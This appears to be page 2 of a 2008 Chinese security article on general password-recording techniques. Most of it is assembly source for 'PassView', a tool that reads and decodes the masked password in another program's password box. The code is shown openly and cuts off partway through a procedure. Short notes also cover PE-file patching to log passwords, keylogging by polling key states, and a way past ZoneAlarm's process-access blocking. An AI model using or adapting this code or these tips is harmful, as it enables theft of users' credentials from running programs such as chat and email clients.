科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道控件密码窗口的秘密 全新的通用密码记录技术介绍(2)

控件密码窗口的秘密 全新的通用密码记录技术介绍(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:

作者:论坛整理 来源:zdnet网络安全 2008年1月6日

关键字: 加密 安全技术 密码安全

  • 评论
  • 分享微博
  • 分享邮件
注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦. 

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.


附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL

内存读取获得密码(原创)
;                  #--------------------------------------#         #
;                #  PassView                               #      #
;              #                                            #   #
;            #                                                #
;          #                      2007.1.1                    #
;            #                    codz: czy                #    #
;             #------------------------------------------#        #

;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR

                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include     \masm32\include\windows.inc
include     \masm32\include\kernel32.inc
include     \masm32\include\user32.inc
include     \masm32\include\gdi32.inc


includelib  \masm32\lib\kernel32.lib
includelib  \masm32\lib\user32.lib
includelib  \masm32\lib\gdi32.lib

CLIENT_ID STRUCT        ; sizeof = 8
        UniqueProcess        HANDLE        ?
        UniqueThread        HANDLE        ?
CLIENT_ID ENDS

THREAD_BASIC_INFORMATION STRUCT        ; sizeof = 1ch
        ExitStatus                                DWORD           ?
        TebBaseAddress                        PVOID                ? ; PTEB
        ClientId                            CLIENT_ID        <> ; 8h
        AffinityMask                        DWORD                ? ;
        Priority                            DWORD                ?
        BasePriority                DWORD                ?
THREAD_BASIC_INFORMATION ENDS

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain        PROTO        :DWORD,:DWORD,:DWORD,:DWORD
ViewPass                proto
_ProcessPeFile          proto :dword
GetUnknowVarOffset      proto
GetUser32Base           proto :dword
CheckOS                 proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS                equ        0
ThreadBasicInformation        equ 0
DLG_MAIN        equ                1000
ID_PWD                equ                1001
IDB_1                equ            1
IDC_BMP                equ            108

RGB MACRO red, green, blue
        xor eax, eax
        mov al, blue    ; blue
        rol eax, 8
        mov al, green   ; green
        rol eax, 8
        mov al, red     ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain    dd ?
vp          db ’viewpass 0.1 codz czy’,0
PASSLEN     DD ?
ENCODE      DD ?
WINTHREADID DD ?
WINHAND     DD 0
unknownvar  DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset   dd ?
modbase     dd ?
lenoffset   dd ?
passoffset  dd ?
Tahoma      db ’Tahoma’,0
editname    db ’EdIt’,0
Richeditname db ’RichEdit20W’,0
dataname    db ’.data   ’,0
erros       db ’不是吧,还在用WIN9X/NT4’,0
nowin       db ’找不到主窗体’,0
nowin2      db ’找不到子窗体中的密码窗口’,0
errnowow    db ’不能找到UserRegisterWowHandlers函数地址’,0
errnocode   db ’不能找到UserRegisterWowHandlers函数中相匹配的机器码’,0
erropenthread db ’不能打开线程’,0
errgetteb     db ’打开线程但不能得到TEB’,0
errnorealcid  db ’不能得到TEB中的RealClientID’,0
errnounknowvar db ’不能从user32.dll中找到未知变量’,0
passerr     db ’密码太长或为空’,0
tebformat   db ’TEB %x’,0
varformat   db ’user32.dll gSharedInfo addr:%x’,0
varformat2  db ’GUI TABLE in user modle addr:%08x’,0
realcidformat  db ’real cid:%x’,0
Wndformat      db ’pass window hand:%x,win thread id:%x’,0
wndcontformat  db ’win struct:%x’,0
passaddrformat db ’pass addr:%x’,0
passlenformat  db ’pass len:%d’,0
passformat     db ’pass decode  is:%x’,0
user32dll      db ’user32.dll’,0
Ntdll                   db        "NTDLL.DLL",0
_UserRegisterWowHandlers  db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND     DD 0
apiquerthread  dd ?
Pthreadinfo    dd ?
.data?
hInstance           dd ?
szBuffer           db 256 dup        (?)
buffervar      db 32 dup (?)
buffervar2     db 32 dup (?)
bufferteb      db 32 dup (?)
bufferPassWnd  db 32 dup (?)
bufferrealcid  db 32 dup (?)
bufferwndcont  db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen  db 32 dup (?)
bufferpass1    db 128 dup (?)
bufferuni      db 256 dup (?)
classname      db 128 dup (?)
buffer1        db 128 dup (?)
buffercode     db 1024 dup (?)

                .code

;********************************************************************
ViewPass  proc
            LOCAL parid:dword
            LOCAL threadinfo:THREAD_BASIC_INFORMATION

        ;invoke MessageBox,0,offset vp,offset vp,1

;--------------判断操作系统        
        invoke CheckOS
        .if eax == 0
            ret
        .endif        
        
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
            
            MOV EBX,WINHAND
            .if  EBX!=NULL
               invoke GetWindowThreadProcessId,eBx,addr parid
               MOV    WINTHREADID,EAX
               ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
               ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
            .else   
                invoke    MessageBox,0,offset nowin2,offset vp,1
                ret      
            .endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

        invoke GetUser32Base,parid
        mov    modbase,eax

;--------------根据窗口所在的线程得到该线程的TEB地址
            invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
            .if        eax != NULL
                    mov     THREADHAND,EAX
          , ;              invoke        LoadLibrary,offset Ntdll
                    invoke        GetProcAddress,eax,offset _ZwQueryInformationThread
                    mov     apiquerthread,eax                     
                    push    0
                    push    sizeof THREAD_BASIC_INFORMATION
                    lea     ecx,threadinfo
                    push    ecx
                    push    ThreadBasicInformation
                    push    THREADHAND
                    call    apiquerthread
                    .IF EAX == STATUS_SUCCESS
                        lea ecx,threadinfo
                        mov esi,[ecx+4] ;得到TEB了
                    .ELSE
                        invoke MessageBox,0,offset errgetteb,offset vp,1
                        ret
                .ENDIF
        .else
            invoke MessageBox,0,offset erropenthread,offset vp,1
            ret
        .endif
        ;invoke wsprintf,offset bufferteb,offset tebformat,esi
        ;invoke MessageBox,0,offset bufferteb,offset vp,1   
        
;-------------------------得到TEB中的RealClientID        
        add esi,6cch
        add esi,1ch
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .if eax !=NULL
               ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
               ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
               .else
                invoke MessageBox,0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif
     

        
        ;密码窗口句柄取低16位
        xor eax,eax
        mov   ebx,WINHAND
        mov   ax,bx
        add   ax,ax
        add   ax,bx ;3
        add   ax,ax ;6
        add   ax,ax ;12
        mov   ebx,eax
        pushad
        invoke GetUnknowVarOffset
        .if eax !=NULL
               mov eax,VarOffset
               add eax,modbase
               add eax,VirtualAddress
               ;invoke wsprintf,offset buffervar,offset varformat,eax
               ;invoke MessageBox,0,offset buffervar,offset vp,1        
        .else
                invoke MessageBox,0,offset errnounknowvar,offset vp,1
                ret
        .endif
        popad
        mov ecx,VarOffset
        add ecx,modbase
        add ecx,VirtualAddress
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                ;push ecx
               ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
               ;invoke MessageBox,0,offset buffervar2,offset vp,1
               ;pop ecx

        .endif        
        add  ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
        invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        sub ecx,edi ;减REALCLIENTID
        mov esi,ecx  
        ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
        ;invoke MessageBox,0,offset bufferwndcont,offset vp,1   
        
        add esi,passoffset
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov esi,[ecx]
        .endif
        ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
        ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1         
        ;得到密码长度
        mov  ecx,esi
        add  ecx,lenoffset
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                mov PASSLEN,ecx
        .endif     
        .if ecx>0 && ecx <32
        ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
        ;invoke MessageBox,0,offset bufferpasslen,offset vp,1      
        .else
        invoke MessageBox,0,offset passerr,offset vp,1
        ret
        .endif   
        
        ;得到加密密码的变量        
        mov    ecx,esi
        add    ecx,0ECh
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                MOV ECX,[ECX]
                xor edx,edx
                movzx edx,cl
                mov ENCODE,EDX
        .endif
        ;invoke wsprintf,offset bufferpass1,offset passformat,edx
        ;invoke MessageBox,0,offset bufferpass1,offset vp,1                 
        
        ;得到解密后的密码
        mov    ecx,esi
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        mov ebx,ecx        
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        
        MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,1
        JBE @@firstpass
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h ;WHY?
        mov edx,offset buffer1
        xor [edx],cl
        ;密码可能是UNICODE的
        invoke lstrlenA,edx
        
        .if eax<PASSLEN ;密码是UNICODE
        mov edx,PASSLEN
        add edx,edx
        mov ecx,ebx
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        mov edi,PASSLEN
        add edi,edi
        MOV EDX,ENCODE
        mov cl,dl
        
@@nextpass2:        
        CMP EDI,1
        JBE @@firstpass2
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass2
@@firstpass2:
        or  cl,43h
        mov edx,offset buffer1
        xor [edx],cl
        ;invoke MessageBoxW,0,edx,edx,1
        invoke        SetDlgItemTextW,hWinMain,ID_PWD,edx      
        .else
        mov ecx,offset buffer1
        add ecx,PASSLEN
        xor eax,eax
        MOV [ECX],eax
        invoke        SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
        invoke  RtlZeroMemory,offset buffer1,128
        .endif
    • 评论
    • 分享微博
    • 分享邮件
    闂傚倸鍊风欢锟犲矗鎼淬劌绐楅柡鍥╁亹閺嬪酣鏌曡箛瀣仾濠殿垰銈搁弻鏇$疀鐎n亖鍋撻弽顓ㄧ稏闁跨噦鎷�

    婵犵數濮烽。浠嬪焵椤掆偓閸熷潡鍩€椤掆偓缂嶅﹪骞冨Ο璇茬窞闁归偊鍓涢悾娲⒑闂堟单鍫ュ疾濠婂嫭鍙忔繝濠傜墛閸嬨劍銇勯弽銊с€掗柟钘夊暣閺岀喖鎮滈埡鍌涚彋閻庤娲樺畝绋跨暦閸洖鐓涢柛灞剧矋濞堟悂姊绘担绛嬪殐闁搞劋鍗冲畷銏ゅ冀椤愩儱小闂佹寧绋戠€氼參宕伴崱妯镐簻闁靛牆鎳庢慨顒€鈹戦埥鍡椾簼婵犮垺锚铻炴俊銈呮噺閸嬪倹绻涢崱妯诲碍閻庢艾顦甸弻宥堫檨闁告挾鍠庨锝夘敆娓氬﹦鐭楁繛鎾村焹閸嬫捇鏌e☉娆愬磳闁哄本绋戦埞鎴﹀川椤曞懏鈻婄紓鍌欑劍椤ㄥ懘鎯岄崒鐐靛祦閹兼番鍔岄悞鍨亜閹烘垵顏╅悗姘槹閵囧嫰寮介妸褎鍣ョ紓浣筋嚙濡繈寮婚悢纰辨晣鐟滃秹鎮橀懠顒傜<閺夊牄鍔庣粻鐐烘煛鐏炶姤鍠橀柡浣瑰姍瀹曠喖顢橀悩铏钒闂備浇宕垫慨鎶芥⒔瀹ュ鍨傞柦妯猴級閿濆绀嬫い鏍ㄧ☉濞堟粓姊虹涵鍛【妞ゎ偅娲熼崺鈧い鎺嗗亾闁挎洩濡囧Σ鎰板籍閸繄顓洪梺缁樺姇瀵剙螖閸涱喚鍘搁梺鍓插亽閸嬪嫰鎮橀敃鍌涚厱閻庯綆鍋嗘晶顒傜磼閸屾稑绗ч柟鐟板閹煎湱鎲撮崟闈涙櫏闂傚倷绀侀幖顐も偓姘卞厴瀹曞綊鏌嗗鍛紱閻庡箍鍎遍ˇ浼村磿瀹ュ鐓曢柡鍥ュ妼婢ь垰霉閻樿秮顏堟箒闂佹寧绻傚Λ妤呭煝閺囥垺鐓冪憸婊堝礈濮樿泛钃熼柕濞у嫷鍋ㄩ梺缁樺姇椤曨參鍩㈤弴銏″€甸柨婵嗗€瑰▍鍥ㄣ亜韫囨稐鎲鹃柡灞炬礋瀹曢亶顢橀悢濂変紦

    重磅专题
    往期文章
    最新文章